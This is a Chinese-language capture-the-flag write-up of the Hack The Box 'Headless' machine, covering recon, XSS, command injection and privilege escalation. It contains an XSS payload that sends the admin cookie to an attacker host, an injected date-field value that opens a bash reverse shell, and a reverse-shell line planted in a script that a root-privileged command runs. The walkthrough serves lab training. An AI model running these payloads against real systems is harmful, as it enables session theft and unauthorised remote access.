HTB-Headless

Box Info

OSLinux
DifficultyEasy

Nmap

[root@kali] /home/kali/Headless  
❯ nmap headless.htb      

Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

进入5000端口查看,自动跳转到一个support路由

Dirsearch

[root@kali] /home/kali/Headless  
❯ dirsearch -u headless.htb:5000                                                         
Target: http://headless.htb:5000/

Starting:                                                                                                        
401 -  317B  - /dashboard                                        
200 -    2KB - /support                                          
                                                                             
Task Completed                 

进入dashboard,发现需要身份认证

SSTI to XSS

查看HTTP头发现是用Python搭建的,应该是Flask

尝试在message部分写入{{9*9}},被检测到了,并且会发送给Admin

根据这个响应,猜测是要把带有恶意XSS代码的HTTP头发送给Admin,然后获取到Cookie

在这里选用User-Agent字段进行XSS注入

POST /support HTTP/1.1
Host: headless.htb:5000
User-Agent: <img src=1111 onerror=fetch('http://10.10.xx.xx/?cookie='+document.cookie);>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
Origin: http://headless.htb:5000
Connection: keep-alive
Referer: http://headless.htb:5000/support
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Upgrade-Insecure-Requests: 1
Priority: u=0, i

fname=123&lname=123&email=123%40qq.com&phone=123&message=%7B%7B9*9%7D%7D

设立监听,获取到cookie

User

进入到Dashboard后是一个生成报告的工具

抓包后尝试命令执行,可以看到读取到目录文件

date=2023-09-15;bash+-c+'bash+-i+>%26+/dev/tcp/10.10.xx.xx/xxxx+0>%261'

设立监听获取到反弹shell

获取到user.txt

Root

发现一个具有特殊权限的命令syscheck


#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

使用ChatGPT进行分析,该脚本的目的是定期检查系统状态并提供以下信息:

  1. 当前系统的内核文件的最后修改时间。
  2. 系统根目录的可用磁盘空间。
  3. 系统负载平均值。
  4. 检查并启动数据库服务(initdb.sh)。

如果不是 root 用户,脚本会直接退出。

echo 'bash -c "bash -i >& /dev/tcp/10.10.16.12/5555 0>&1"' > initdb.sh

运行,另一边监听端口,获取到Root shell

Summary

UserSSTIwaf引发了XSS漏洞,获取到管理员的Cookie,并且在dashboard里可以进行命令执行,获取到反弹Shell

Root:具有特殊权限的命令syscheck,只需把反弹Shell语句写入initdb.sh,在执行syscheck就能获取到Root权限

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇